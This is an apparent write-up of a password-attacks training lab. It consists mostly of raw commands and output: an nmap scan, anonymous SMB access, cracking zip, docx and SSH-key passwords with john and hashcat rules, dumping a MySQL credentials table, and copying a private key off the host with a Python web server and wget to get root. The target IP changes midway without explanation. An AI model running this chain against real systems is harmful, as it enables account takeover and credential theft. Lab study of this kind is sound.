Password Attacks Lab - Medium

June 15, 2024

Starting Nmap 7.94 ( https://nmap.org ) at 2024-06-15 14:10 PST
Nmap scan report for 10.129.202.221
Host is up (0.29s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE    SERVICE     VERSION
22/tcp   open     ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3f:4c:8f:10:f1:ae:be:cd:31:24:7c:a1:4e:ab:84:6d (RSA)
|   256 7b:30:37:67:50:b9:ad:91:c0:8f:f7:02:78:3b:7c:02 (ECDSA)
|_  256 88:9e:0e:07:fe:ca:d0:5c:60:ab:cf:10:99:cd:6c:a7 (ED25519)
139/tcp  open     netbios-ssn Samba smbd 4.6.2
445/tcp  open     netbios-ssn Samba smbd 4.6.2
1053/tcp filtered remote-as
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 3s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-06-15T06:10:55
|_  start_date: N/A
|_nbstat: NetBIOS name: SKILLS-MEDIUM, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.99 seconds

smbclient -N -L 10.129.202.221

smbclient \\\\10.129.202.221\\SHAREDRIVE

zip2john Docs.zip > forjohn.hash
cat forjohn.hash

hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list
sudo john --wordlist=mut_password.list zip-hash.txt

Destiny2022!     (Docs.zip/Documentation.docx)

office2john Documentation.docx > doc-hash.txt
sudo john --wordlist=mut_password.list doc-hash.txt

Pass - 987654321

libreoffice Documentation.docx

jason:C4mNKjAtL2dydsYa6

ssh jason@10.129.202.221

mysql -u jason -pC4mNKjAtL2dydsYa6

show databases;
use users;
show tables;
select * from creds;

dennis:7AUgWWQEiMPdqx

su dennis

cd .ssh
ls -la
python3 -m http.server

wget http://10.129.186.212:8000/id_rsa
ssh2john id_rsa > forjohn
sudo john --wordlist=mut_password.list forjohn

P@ssw0rd12020!

chmod 600 id_rsa
ssh -i id_rsa root@10.129.186.212